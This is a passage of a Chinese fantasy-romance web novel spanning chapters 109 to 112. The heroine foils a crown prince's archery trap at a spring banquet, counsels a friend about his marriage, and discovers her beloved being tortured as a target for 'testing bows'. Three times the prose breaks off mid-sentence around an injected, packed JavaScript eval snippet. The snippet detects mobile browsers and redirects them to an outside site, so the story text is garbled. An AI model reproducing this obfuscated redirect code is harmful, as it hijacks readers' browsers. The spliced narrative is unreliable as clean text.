高贵的太子殿下捏在玉扳指上的指骨不动声色地一紧。 而璃音看着照雪不知从哪里拿来的一张弓,不禁微微皱起了眉。 110. 第109章 弓是精雅的竹木弓,弦是上乘的牛筋弦,雕饰威猛,显贵相宜。 乍一看去没什么不对。 然牛筋弦怕沾水,一般都会涂上一层黄蜡防潮,尤其近日入春雨密,更须小心在意。太子的弓有专人司职养护,按理不该在此等小事上有所疏漏,可这疏漏偏偏就是来了。 照雪尚未走近,璃音已凭着较凡人更为通达的五感瞧得真切:那看着结实凛凛的弦上,却是未曾涂蜡的。 前些天一连下了好几日的雨,如此未做防潮,弓弦必定松垮,再厉害的弓箭手,也张不好一把失了弹性的弓。 太子让箭,转头却拿出这样一张叫人必然出丑的弓来。 是巧合,还是故意? 非是璃音爱把人往坏里想,但无意撞见过太子那等阴寒打量自己的眼神,她对这人的印象便注定好不了。 且方才被慕璟明一视同仁地用眼神警告了,难免不会想要在他身上找回场子。 其实有时小七的目光也冷,冷得懒淡,冷得空寂;但太子这类人的冷是不同的,像幽幽吐着信子的蛇,冷得湿滑,冷得幽暗。 正思量间,照雪已将弓箭呈近,弓身上的花纹精雕细刻,威武又不失典雅,璃音掀眼看着看着,心突地一跳,脑中猛然记起什么,抢在慕璟明接弓之前,霍地起身,将那弓坚决推了回去。 慕璟明自小摸着弓箭长大,弓到了眼前,自是一眼便瞧出端倪。 他其实无所谓在众人面前出不出丑,一场勾心斗角的小宴上勾心斗角的一箭,射中如何,射不中又如何? 飞龙入了他的车,虽只是传言,但太子心里有疙瘩,存心刁难,这些事他不是不懂,只是懒得理会。 不过…… 他看一眼起身护在他身前的少女,背脊挺得笔直,仿佛天地都敢对峙,哪里还有半点先前不安的样子。 这姑娘,为别人挺身而出的时候,似乎总是格外勇敢。 他长眉轻轻扬了扬,便从善如流地由她将自己护着。 她既不许他犯懒,那他听她的便是。 弓被推回,照雪不觉抬眸,看向少女的眼瞳深邃。 璃音冷肃的目光只与他对望了一眼便调转开来,转向上首时,已笑得比坐在那处的太子殿下更为端煦,她向太子清声:“殿下,此弓不妥。” 假笑么,谁还没练过了,母亲都夸她这笑练得好的。 小娘子本就长得好,又笑得乖,一开口,直叫人觉得心上一阵清涧淌过,满云郊的花儿都要开了,是以话中虽是推拒,倒也让人难恼。 太子指骨搭上案前的玉扳指,和谁打着假笑赛似的,面上非但没动气,还笑得愈发温煦了:“此弓是司弓矢特意给本宫备来祭春的,小娘子倒是说说,有何不妥?” 一句话先把锅甩向了司弓矢,便是弓上真被指出什么,那也是负责制弓养弓那帮人的过失。 璃音是真心佩服太子的这种应对敏捷的无耻,可惜她要说的并非是涂没涂蜡这类的“琐事”。 敛起几分神色,她恭然肃声道:“古礼有云,雕弓唯天子可用,殿下是未来的天子,这弓由殿下使来,自无不妥。然这席间也只殿下一人使得,不论这一箭是代谁射出,旁人用来终归于礼不合,故此不妥。” 在这个时代,天子雕弓,诸侯彤弓,大夫黑弓,这是定死的礼数。 虽是太子亲口让箭,但弓是照雪取来的,慕璟明若接了,难保日后不会被借题发难。皇宫不比天宫,越是上位者,在这种事上的敏感点就越多,似慕璟明这等成名的武将,更是被捕风捉影的常客,可算是极其高危了。 小小一张弓上,竟连着挖了两个坑!且看样子是早有准备,根本不是刚才的眼神警告才开罪的他。所以今日哪里是什么郊外偶遇,分明就是专等着簪春宴上射礼这一刻,要把慕璟明往坑里推呢。 心里又腹诽一遍无聊加无耻,嘴上却仍是恭声:“如今小侯爷的马车里正巧备着一张彤弓,本是我偷偷藏着,打算在宴上送与郎君的礼物,殿下何不容我此刻取来,既周了礼数,也好全了我对郎君的一番心意。” 太子的笑容便隐隐有些挂不住了。 雕弓只有谁能用,难道席间就没人知道?他就是明着要慕璟明犯下这个戒,好出了心中憋着的一口气。也料定即便有人看出什么,在座的都是人精,为免惹火上身,也必不会点破。 就是点破了,也自有更多受了潮拉不开的弓备了给他,今日便不逾礼,出丑也是出定了的。 不想那小娘子拒了这张雕弓不算,竟还赶巧自备了弓箭,莫不是老天都在帮着那人!于是那真龙之说在辗转几月难眠的太子心里,不免又难忍地愈发真了几分。 而此时的席下,却有许多暗暗艳羡的:如此标志的女郎,如此机敏的行事,还如此用心地为郎君准备了礼物。慕小侯爷迎娶的美人原来并非臆想,看来笑话终归又要成了佳话。 慕璟明头一次听少女唤他“郎君”,实在新鲜,脑中回味着,眸色便在不觉间炽热起来。 而这看在旁人眼里,全然就是一副被爱情滋润狠了的模样。 这下更是羡煞了楚作戎,他是个少根筋的,全体察不出太子肚里正憋着一口气,当下只顾在一旁拍手傻笑:“殿下这弓虽好,却到底比不上有情人的一片心呐。” 气氛推到了这,吃瘪的成了太子,却也只能成人之美:“倒是本宫险些阻了小儿女们的一番风情月意了。” 他倒要看看,这小娘子是真备下了可堪为礼的精美长弓,还是会随意找一张弓来应付。 他看一眼照雪:“过来吧。” 这便是允了。 动身去拿弓前,璃音附去慕璟明耳边,笑着给他说悄悄话:“等我一会,保管给你拿来最好的。” 慕璟明是见过落日的,自然知道少女口中的“最好的”指什么。 天上地下第一弓,她就拿来给他在这凡间春宴上射靶。 她宠他,他很受用,便也压着声音笑:“别忘了去马车里转上一圈。” 这倒是个很要紧的提醒,璃音满意地拍拍男人漂亮的颊,转身装模作样取弓去了。 这才对嘛,方才被人欺负到头上,还一副懒得对自己的事上心的死样算怎么回事。 她的男人,只能给她一个人欺负的! 同是魔器转正,落日可比玉横的破脾气好了太多,央它去给慕璟明用上一用,它也应得爽快。 诚然,这里面也有与后羿神君有约在先,把摇光当作了她的“看顾人”,是以格外认可的缘故。 不免想起前世玉横非要逼得她自残自伤到血都几乎流尽,才终于肯救一救商月的那桩事,心里头就一阵窝气。 气玉横,也是气自己。 那时她想救商月是真的,但自伤到那种地步,多少也带了几分自暴自弃般的报复。 拿商月的浮光剑割在自己身上的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765621|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她甚至阴暗地在想:要不就这样为他死了吧,是不是只有为他死了,她才算还清了他对她的那许多好,旁人也再不能说她是个不值得被付出的人了。 如今回看,那是个多傻的想法。 其实这事看清楚了也挺好笑,自己当时竟是被对方太多的深情给逼急了。 三天两头一个深情炸弹,也不知为何,比起感动,她感受到更多的是压力,是惶恐。身边所有人都推着她去对他好,弄到最后跟打比赛似的,不知不觉就把她的倔劲给激了起来,以致最后钻进了那般危险的牛角尖里而不自知。 她也是此刻才发觉,自己很久都没想过要为谁去死了,现在的她,只想和小七一起好好活着。 落日一出,便是太子的雕弓也逊了不知几筹又几筹。 即便敛去了大半锋芒,但气质这种东西实在难掩,那股子赫赫凛然的神气早已刻在了骨子里。众人见了,又是纷纷称羡,看得太子肚里那口气胀得愈发难受了。 其实璃音如何不知,小七这一箭若射得好,太子必不能痛快,今日不撕破脸,往后暗地里给慕璟明挖坑的事也必不会少。 不过兵来将挡,水来土掩,明日的事自有明日的她来护,而今日有人要当着她的面把小七欺负了去,她就是看不得! 再说这坑无论跳不跳,左右都落不着好了,与其遭人耻笑,还不如就此点破,至少口舌把柄落不到小七身上。便是日后果真应了卦象,因此遭劫陨命,亦不过是反助小七归位,凡人再多伎俩,也伤不及神魂,在“死得不算太好”这种卦中,已算是很好的了。 抬眼看那边正行射礼的慕璟明,掣臂张弓,随手便拉了个满弦,身姿随之舒展开来,愈显得意气风发,长身挺拔。 与摇光比起来,凡间的慕璟明身上到底还保留了些尚未褪尽的少年气质,此时箭在弦上,他却忽地回头,一双灼亮的眼毫无预兆地向璃音望来,望得她猛然一阵心动。 这是知道自己这会迷人着呢,就又来勾她,生怕她错过他此刻飒爽的英姿似的。 真是。 ……但也只好宠着他罢了。 谁让自己偏就是每次都能被他勾到呢。 唉。 这是真栽了。 叹着气,就不禁眉眼一弯,笑了起来。 一箭射出,直中靶心,毫无悬念。 箭射完了,但男人射箭时凛凛飒然的风姿却仍仿佛刻留在众人眼底。 缺心眼的楚作戎带头喝起彩来。 太子继续假笑。 璃音松快地舒出一口气。 也算是历史性的一箭,这一箭射完,她在这个时空里所有的任务便都完成了。 这一趟来到九百年前的时空,过程比预想的曲折了些,但总算是不负所托。 还拐了个俊俏的神君回家。 收获满满呀! 璃音快活地想着,转眼一看,却见方才还傻乐着欢呼的楚作戎,唉着声叹着气,忽然一屁股坐进了她和慕璟明中间。 璃音:“……?” 她今日刚见着楚作戎时就隐约觉得他有哪里不对,似乎有些举止怪异,悲喜不定。 不该啊,小蜀离了左司马府,他身上阴气早没了,怎么还会这般神思恍惚。 尚未待她盘问,楚作戎已自半醉般地开口了:“侄媳妇,你最懂心悦自己的夫君是什么样的,快与我说说,你心悦璟明,可会催着他去纳妾么?” 111. 第110章 无有圆满 这话中信息量颇丰,璃音惊奇看着楚作戎,决定暂且忽略“侄媳妇”这个不大严谨的称谓,先问重点:“蜀娘子……啊不,是崔娘子催着你纳妾了?” “正是呢,你说这事怪不怪。”楚作戎幽幽叹一口气,满脸哀怨,“她以前可不是这样,整一个醋缸子里泡出来的丫头片子,侄媳妇该也记得,那时我不过说要为你摹一幅画,她都能气得一晚上不来理我。” 璃音心道那倒也不全然是因为吃醋,小蜀不过是在挣扎着要不要取你的小命罢了,更莫说此小蜀非彼小蜀,那性情若是都相同,才真叫出了鬼。 只见楚作戎又灌了自己一杯酒,酸甜爽口的梅子酒愣是被他喝出了苦酒辣喉的架势:“但若要说她心里没我,对我淡了,见着我时,偏又从来温言软语,处处把家中照料得妥帖。成婚至今,除了为纳妾这事,我俩就没吵过一次架,没红过一次脸。” 说到这里,又端起小盏,猛饮了一口,饮得愈发醉了,又忽然转头向慕璟明道:“璟明,你说,似你这般一心恋慕着夏姑娘,会催她去纳妾么?” 璃音:“……” 她能纳什么妾? 看来这人是真醉了。 然而慕璟明微沉的眸光竟凉凉向她射了过来:“她休想。” 璃音:“……?” 这话说的!好像给她个机会,她就真会去纳妾一样。 再说,她和慕璟明又没成亲,所以她连正经的夫君都还没有呢,纳什么妾。 啊,等等…… 脑中有一小段记忆猛然掠过,她还是凡人时,家中好像是曾为她招赘过一个夫婿的…… 所以正经的夫君,她好像……还真的有。 像猝不及防被雷劈中,原来小七尚不是十婚男,她倒已经有过夫婿了。 非是她刻意遮掩,实在是这段记忆太过模糊,模糊到很多时候,她都压根想不起来这事。 即便偶尔,比如此时,把这事想了起来,也就只能想起这么一点,其余的,关于那位夫君的一切,她都一概不记得了。且无论如何用力去回想,甚至用魂术自探,都探不出一星半点,也真是一桩怪事。 不过为这桩婚事,她和父母闹得很不愉快,她似乎是很不想嫁的,这她倒是有些印象。 想来也不会是什么好姻缘。 而且她十六岁上成亲,十六岁便死了,和谁都没几日的夫妻好做,又何谈什么感情。 但到底被慕璟明盯得一阵心虚,这时她感激起楚作戎往她和慕璟明之间没眼力见的一坐了,忙稍稍侧过身子,整个人都躲进了楚作戎的影子里。 “这才对嘛!”楚作戎显然对慕璟明这个回答很是满意,一拍大腿,叫出声来。 只是叫完又开始叹气:“唉,也不知怎么回事,从前她最爱与我说的那些奇山异水,如今都不提了。每每我说想要与她出去逛逛,去登山临水,去看些她曾经口中的好风景,她都只推说孩子年幼,离不得身。今日这簪春宴,我特意选了她曾提过的云水溪,备了她最爱的梅子酒,她也仍旧不肯来,说不愿在外面这样抛头露面。” 说罢又是好一阵凄苦的摇头叹息。 从这些话里,璃音也大概窥出了那位崔娘子的一些脾性:该是个十分温柔顾家、淑德贤良的好姑娘。 只是同时,楚作戎在她眼中,是家主,是夫君,是她孩子的父亲,却恐怕并不如小蜀那般,将他当作魂灵相交的爱人。 她大抵便像这个时代里的许多女郎一样,乖顺着长大,便由着长辈定下亲事,嫁了个门当户对的郎君,自此相夫教子,用心照料小家,尽力去扮演好她温柔贤重的主母角色。 楚作戎娶到了一位好妻子,但终究没有娶到自己的爱人,也没能娶到真正恋慕着他灵魂的那个人。 但小蜀已自有她的奇阔际遇,再来与这早已娶妻生子的凡人纠缠,也没了意思。 所以往往一次无意间的错过,便是永远的遗憾,那种两个灵魂都契合的恋慕,许多人一辈子也难遇上一次。楚作戎错过了小蜀,他这颗寄情于山水万美的浪漫灵魂,此生该是再遇不到第二个像小蜀那样曾终日奔跑于自然山野的姑娘,来与之产生那般恣情绝美的共颤了。 璃音视线默默越过楚作戎,落去了慕璟明身上,然后将一只胳膊悄悄从楚作戎背后绕过去,轻轻拉住了他的手。 前世她看不明白自己的心意,稀里糊涂应了别人的告白,与他错过了一次,这次她一定会好好把他攥在手心,再不让他孤单一个人了。 手被捏进一团熟悉的温软,慕璟明转过脸,对上少女清亮的眸色,她正微微后仰了身子,从楚作戎身后看他,那眼神里有着不加掩饰的款款珍重,好像在看这世上最贵重的珍宝。 他心中一动,刚要与她说话,眼前突然闯过来一颗大脑袋,生生隔断了他和少女黏在一起的视线。 而脑袋的主人正兀自悲愤不已:“哎哎哎,我说你们两个!我在这犯了半天的愁,你俩没一个理我就算了,还在我背后眉来眼去的,是不是太过分了!” 这是今天第二次被他打断了。慕璟明淡淡地望了楚作戎一眼,然后便淡淡转过了头,没被牵住的那只手淡淡地端起了案上的酒盏。 只是想偷摸躲在背后幸福一下,没想到这么快就被不幸的楚作戎抓了包,璃音略显尴尬,唉,在不那么幸福的人面前,还是别表现得太过幸福吧。 于是她干咳一声,想把手收回,可刚撤走一点,就被慕璟明反手牢牢捉住了。 看来这手是只能这样牵着了。 于是她默默扭头,战略性端起前面的杯盏抿了一口,以缓解尴尬。 楚作戎望望左手边淡淡举盏的慕璟明,又看看右手边默默抿酒的璃音,觉得终究还是自己那一脸事不关己的侄子更可恶些。 他向左边凑过去,狠狠打了个酒嗝,道:“璟明,我和你小舅母的事,你怎么觉得?” 慕璟明躲着什么气味似的,身子默默往后撤了撤,慢悠悠放下手中杯盏,又慢悠悠看向楚作戎,忽地恶劣一笑,道:“我觉得她应该只是不大喜欢你。” 璃音一口酒差点呛在喉咙里。 楚作戎呆了一呆,一脸死灰。 虽是大实话,但也未免太过扎心,璃音为楚作戎默了一默,谁叫他偏要去问慕璟明,她就没见他有过不敢直言的话。 但见楚作戎万念俱灰的模样,又想到崔娘子三年里就为这男人生育了两个孩子,着实辛苦,也是认真与楚作戎做夫妻的,免不得要为她说几句话,于是璃音歪头思量了下,道:“或许蜀娘子只是长大了。” 她望着楚作戎,谆谆切语:“她如今是你家中主母,又是你两个孩子的母亲,什么事都要她照管,比不得出阁前那般无拘无虑,行事比之前成熟稳重一些,也正常吧。” “再说感情嘛,不管起初多么轰轰烈烈,最后总是要归于平淡的。” 说到这,不免又接收到慕璟明眸光如电的一瞥,知道他在想什么,她好笑地微一挑眉,向他传音:“今晚跟我回去,我告诉你淡没淡。” 挽着那样清婉端秀的发髻,暗里传的却是这等狂荡言语,璃音觉得自己真是被慕璟明带坏了。 但是美色当前,尤其他今日还几次三番勾她,焉有不吃的道理,她又不是不行!得好好让他知道知道大庭广众之下勾引她的下场,看他下次还敢不敢了。 慕璟明便也回她一个抬眉,握着她的手肆意□□起来。 璃音制住他不安分的爪子,继续向楚作戎道:“其实你今日来与我们说这些,也是心里对她的感觉变了,不是么?” 楚作戎闻言一愣,然后突然涨红了脸,整个人都激动起来。 “我不是!你胡说!不是这样的!”语气激烈,目光却渐渐躲闪,“我是最爱小蜀的,我最爱她的,我对她的感觉一生一世也不会变……不会变的……” 曾经爱到要死要活的姑娘,成婚不过三年,竟就彼此疏淡了。他依然觉得她是这世上面容最美的姑娘,可不知为何,那种曾在更深处吸引他的美,像磁铁一样吸引着他魂魄的那种美,却再也找不到了。 他不肯承认,可又不得不承认,他对小蜀的感觉变了,她淡了,他又何尝不是。 他还是心悦于她,这种心悦静静点缀着他安稳的生活,他还是幸福的。 若非他曾亲身尝过那种深刻入骨的痴迷与恋慕。 璃音能想象出楚作戎心中的那种不甘,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783397|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倘若崔家姑娘没有出现,他果真与小蜀走到了一起,难道他就会觉得完满了吗? 恐怕又难免不会在心中惋惜,惋惜小蜀为何不是画中那副最令他心悦的容貌吧! 璃音心中慨叹,但此事既已注定无法两全,何不好好珍惜眼前人。他与崔家姑娘这一段相遇,本就是话本中才能出现的奇缘了,若再辜负,才要真正追悔莫及。 于是她道:“淡了便淡了,她已是如此,又不是对你不好,若你实在难受,或许可以试试重新爱上这个平淡的她。” “我早试过了。”楚作戎忽然双肩一耷,挫败地抬起头来,神色凄凉,“可她好像并不希望我花太多心思在她身上。” 说着苦笑一声:“她最近越来越抗拒我碰她了,到这半年,她甚至开始直截了当地提议我去纳妾。” 璃音起先还只当他话里的那个“碰”是个字面意思,心想连碰也不让碰,那倒确实挺艰难的,直到“纳妾”两个字出来,她才猛然恍悟,然后默了一默。 这种夫妻床榻上的事,就大可不必与她分享了吧! 却听那边慕璟明忽道:“小舅舅成亲前曾给我们来过一封信,信中说,你要两儿两女,儿女双全。” 楚作戎一怔,不知这话和他夫妻生活不睦有什么关系,但还是点了点头。苦笑道:“如今还想什么两儿两女,自从去年生完禄儿,她就不大愿意我去碰她了。” 璃音这时已反应过来了,不由问道:“这两儿两女是你自己想要的,还是与她商量好的?” 楚作戎茫然地把头从左边转到右边,道:“这自然是我希望的了,母亲曾为父亲生到了四妹妹,但四妹不幸早夭,所以我想第四个一定要生个女儿。这事成亲当晚我便与小蜀说了,从此日日为这目标努力呢……” “咳……”璃音忙干咳一声,打断楚作戎对此事过于大方的分享,她大概能明白那位崔娘子的想法了,“可那都只是你的想法,你有没有想过,或许对她来说,一儿一女,就够了呢?” 看楚作戎到这时仍是一脸迷茫,璃音也不由有些恼了,向他微寒了声:“楚公子,生孩子,是很辛苦的。三年,她就为你生了两个,你还在畅想那余下的一儿一女,可她的身体很累,甚至可能很害怕,她生够了,需要休息了。可她又自觉还欠着你两个孩子,所以才宁可劝你去纳妾。若你真想修补和她的关系,不如就此事和她好好谈一谈。否则,你就等着她对你永远淡下去吧。” 说罢便不再理他,话已至此,他若还不能领悟,那也就活该堕入此间不幸了。 这时席间突然欢呼起来,原来是武令行完,众人在箭术上都已决出了胜负。好巧不巧,最后是司弓矢家的小公子拔得头筹,一路“承让承让”着上去领了太子的玉扳指,一张脸都快笑成了花。 这会儿想退席的便可自退了,因太子在席,慕璟明这种在东宫有职在身的便不好早退,知道璃音待不住,便替她理着有点被风吹乱了的鬓发道:“先回去,晚点我再过去找你。” 说着又附耳过来,低沉缱绻的字音吹进她耳中:“到时我会等着阿璃告诉我淡没淡。” “咸死你。”璃音轻轻在他胳膊拧了一把,又把他抵去马车后面狠狠亲了一阵。 她身体特殊,不易留痕,而慕璟明的就不一样了,经她一吮,原本淡软的唇上立时便有了轻微红肿的痕迹,璃音看着心满意足,这才趁着无人注意,一个隐身,转身往观中去了。 簪春宴任务圆满完成,往后,就是和小七尽情相守的一世了。 璃音觉得这日子实在值得庆贺一下,于是特地在王都里绕了好大一圈,终于找到一家卖桂花小麻糕的铺子,欢欢喜喜买了四块,便回去等着慕璟明回来。 可她直等到酉正,暮色渐渐要笼了上来,慕璟明却还没来。 往日这个时候,破军早来催她晚间的报备了,今日却也没个动静,难道是慕璟明在宴上喝多了? “小七?” 距离太远,她已无法直接向慕璟明传音了,于是只能试探着通过破军传音。 可是没有回应。 她静站在原地,心脏不受控地越跳越快。 下一息,她便拔足向着云郊狂奔而去。 112. 第111章 “试弓” 黄昏微凉的暮色里,云水溪淙淙跳动着流淌,沿溪一大片刚要抽芽或尚未抽芽的枯褐色大树静默耸立,像一只只挣扎着伸向天空的巨大而干枯的手掌。 一个闪电般的青色身影在那些褐色手掌之间飞掠闪动,过快的速度在少女耳边卷起呼啸的风声。 可璃音还是在恨自己太慢……太慢了! 眼睛被风吹得涩痛,偏又有水雾不受控制地在往眼眶里涌。 “宇”铃不在,她无法在超远距离下瞬往,只得闪跃奔行,她这样慢,却还大言不惭地说什么兵来将挡水来土掩,还说什么会好好珍惜他,护着他。 结果呢,她替他得罪了太子,怎么还可以心大到把他一个人留在那里。 她太大意了! 他每晚酉时都会准时来要她报备,她为什么没有早点注意到他今日缺席了! 小七从不会对她缺席的。 而且明明云卿向她警告过还要送摇光一份大礼,明明鬼火毽子的事还没查出眉目,她为什么就把这些都抛之脑后了! 无尽的自责涌了上来,疾奔间好像有几颗温热的水珠自眼眶滚落去了颊上,璃音抬手狠狠在眼下擦过,那几颗没用的东西却已先一步被怒号的冷风卷去身后,散落在了暮色寒风之中。 终于奔至云郊,可郊外空无一人,宴席早散了。 璃音看着眼前空荡荡的溪岸,汹涌的魂力在体内翻涌,狂乱的心跳却渐渐平复下来。 鬓发被风吹得胡乱贴在脸上,她在冷风中静立着,想着小七几个时辰前在这里给自己整理鬓发的模样,轻轻抬起手,将被自己跑得乱糟糟的发丝理了理。 然后便冷静地掠向了武宁侯府。 熬过最初的那一阵慌乱,她便平静了下来。 慌什么,即便真有设想中最坏的情况发生了,她身上也还藏留着最后一张底牌。 再加上那次给小七打上魂印之后,似乎意外将他的神格封印松动了些,神力虽依然使不出来,破军却能收入他体内,由他自如驱策了。 这让她的底牌愈发稳固。 这么想着,抵达武宁侯府的时候,璃音的心绪已经完全宁定下来。 直奔慕璟明的小院,人不出所料不在这里,璃音脚下没停,嘴上也来不及解释,一把拎起童墨,无视掉他扑腾的手脚和咋咋呼呼的惊呼声,直直把他拎入了慕璟明房中。 这还是她自东海回来王都后,第一次进来慕璟明的房间。 而她一进来,就愣住了。 所有那些从她房间里消失的东西:妆镜、桌椅、她穿过的衣物、还有她只用过一次的妆奁……都安安静静地,和他的东西一起被摆放在这里。 而她身前的一张小桌上,摆满了许许多多成对的玉雕小人,璃音眼睫轻轻颤动了下,提在童墨后领的指骨不自觉卸力松了开来。 她离开的三年里,他雕了几百个他和她。 被他摆在最前面的一对,胸口还斜斜系着昏礼时才会佩戴的礼花。 他把她雕刻得很漂亮。 “少夫人?”童墨这时才终于看清了身边这位风一样闯进宅院,二话不说就把自己掳走了的“贼人”的脸,他松一口气,惊魂甫定地拍着胸脯,“少夫人若是有急事吩咐,来院中喊一声便是,您这么样,真个差点把人吓死。” “少夫人……” 璃音轻喃着这个称呼,脑中一时有好几道声音同时闪过。 ——“外伤都好了,只是内伤难愈,牵动了也只能静养,一会少夫人多陪着些,过了这阵痛,今日便算好了。” ——“你下次来的时候,可以走正门。” ——“除了阿璃,我不会和任何人成亲。” ——“还有更离经叛道的呢,以后你就会知道了。” ——“侄媳妇,你最懂心悦自己的夫君时是什么样心思的,快与我说说,你心悦璟明,可会催着他去纳妾么?” 她就是这府中的少夫人,一直以来有过那么那么多的提示,可她竟一次也没有听懂。 璃音将系着礼花的那对玉雕小人拿在了手里,向童墨抬起微微潮湿的眸子:“他呢,散宴后没同你一起回来么?” “太子殿下说今日见了众人射箭,实在手痒,司弓矢又在开春时制了一批新弓过去,还未试过,就邀小侯爷同乘入宫,说是帮着试弓和加练骑射去了。”童墨说着扭头去看铜漏,“不过宫中留人一般不会过酉,小侯爷今日是回得晚了些……” 话音未落,童墨眸底青光一闪,便就着这个姿势僵住了身子,仿佛一座人肉雕像般一动不动了。 挥手打出一道魂力将门重重关上,璃音丢下一个结界,闪身与僵停住魂躯的童墨正面相对:“抱歉,童墨,我需要借用一下你今日的记忆。” 眼中剔透的赤红光芒牵引着童墨眸底的青光流转烁动,璃音缓抬起手,指尖随她动作,不断向空中浮动出青红交映的萤火虫般的光点,随后啪的一声,掌心在胸前交握相合,少女修长的十指在胸前缓慢而有力地翻缠成印。 “打扰了。” 说罢,璃音掌中眼底的红芒一齐暴涨,一缕神识便如箭一般射入了童墨的识海之中。 云水溪畔,春风刚好,透过童墨候在马车前的眼睛,璃音看到一位华服少年叫住了欲要登车的慕璟明。 璃音记得他,是在宴上赢走了太子玉扳指的那位,是司弓矢家的小公子。他似乎对自己今日送给慕璟明的那把弓很感兴趣,想要借去一观。 落日已被她收回体内,慕璟明自然回绝了。 那位小公子对此似是颇有不满,微不可见地眯了眯眼。 这时照雪走了过来,说是太子对两位都有请,慕璟明回身嘱咐了童墨自行回家,便与那二人一起,渐渐在童墨的视线中走远了。 璃音钻入童墨识海的那一缕神识忙跟着一个跳跃,便顺着彼时记忆交汇的那一个点,飞快地跃入了照雪的识海之中。 视线中风景人物变换,璃音这时看到的已变作了彼时照雪眼中的世界。 太子噙着一抹假笑来邀慕璟明和司弓矢家的小公子同乘,慕璟明平静地与太子对望一眼,便跟他上了车。 照雪留在外面驾车,车帘放下,车厢里的情形便再看不见,眼前只剩下一个棕褐发亮的马屁股。璃音正打算跳入司弓矢家那位小公子的识海之中,却见视线中照雪的手上执了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787892|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根淡褐色的短硬马鞭,口中轻喝一声,往那保养得油光水亮的马屁股上一抽,稳稳地驾起车来。 璃音赤寒的瞳孔骤缩,眼中红芒疯涨,一张脸陡然冷至冰点。 是阎王扣。 照雪手中的“马鞭”,是阎王扣。 最坏的那个设想得到了证实,璃音却反而愈加冷静下来。 照雪究竟是什么人,阎王扣又为何会在照雪手上,这些她都已无意去探究。 她现在唯一在乎的,只有小七,她要知道小七现下如何了。归位也好,神魂消散也好,他都没有资格不等她去,不得到她的首肯,就独自奔向那个结局。 璃音轻轻阖了阖眼,那一小缕神识箭矢般跃至司弓矢家小公子的识海之中,疾速游走起来。 几个时辰漫长记忆的画面被压缩至一条宽扁的长卷上,如一页长画,供少女一眼便即阅尽。 而璃音看了这一眼,像是被什么东西烫到了一般,猛地弹开双目,瞳孔里无尽猩红的风暴席卷,滔天怒意在她压抑不住起伏的胸膛间滚滚狂涌上来。 遥远的云层之上一声龙啸嘹亮,她携着一身阴冷寒霜沉默着闪身跃上巨龙宽阔的后背。 在那幅记忆长画最后的画面里,男人被可剥魂夺魄的阎王扣死死缚住腕骨,囚捆于一根巨大的“箭靶”之上,粗粝的绳索把他腕间的肌肤磨成一片糜烂的殷红。 各类长短不一的冰铁箭矢以着各种各样不同的角度贯穿过他的肩胛,又牢牢钉入他身后那个巨大的早已被血浸透的箭靶之中。 这就是他们口中所谓的“试弓”。 他们在拿她的小七试弓! 手中巨弓被她举起的同时腾地燃起熊熊赤焰,她单臂缓掣,手背上的青色筋脉和眼底的猩红一齐狂怒地跳动着。 那个叫她根本不敢再看第二眼的画面偏偏在脑海中一次又一次清晰无比地闪现。 他被血染得殷红的唇和那半边躯体。 他被冷汗浸湿,凌乱贴在颊边的碎发。 他虽极少喊痛,但却最爱和她撒娇的,每次吃痛,那双眸子都一定会泛着亮亮的水光,撩拨地看她,告诉她把他弄痛了。 而现在,他那张脸仿佛完全反馈不出痛意似的,始终平静地抬着他那一双冷而厉的眸子,静静注视着所有折磨他的人。 一定是破军收在他体内,一起被阎王扣锁住了灵魄,所以才传不出,也回应不了她的消息。所以他才没办法告诉她,他们把他弄痛了的。 鲜红的血自他身体各个地方不停滴滴答答往下落着。 天地间所有的声音和颜色都在璃音五感中消失了,只剩下了那仿佛无止尽的滴滴答答的声音,和满目的刺红。 潜伏在司弓矢家小公子体内的那一小缕神识倏地察觉到什么,璃音眸中寒光爆射,在此刻那位小公子再一次举弓对准慕璟明的时候,她亦对准东宫,猛地拉了满弦。 无边魂力凝结而成的巨大赤红魂箭之中,隐隐翻腾出墨一般的浓黑。 她应该要杀了他们的吧? 她应该要杀了他们的。 所有胆敢欺负折磨小七的人,他们都该去死。 都该去死。 113. 第112章 爱哭鬼 立春,晴日黄昏。高而薄的长空之上,缀着一条条絮状长云,像被谁大力撕扯开的棉花,遮不住一点儿天光。 于是天黑得很慢。 然而在某一刻,突如其来的暗沉暮色,像巨大怪物飞过时投下的庞大阴影,顷刻间,便无声无息地笼罩住了整个王都。 大片墨色的云团在高高的苍穹之上急速翻涌着,天空沉得像一汪倒扣的黑海,莫名叫人心中涌起阵阵难以言说的不详之感。 街市上有行人狐疑地抬首望了望天。 “要下雨了么。” 那人低声自语着,便又低下了头,裹紧衣领,默默加快了行路的脚步。 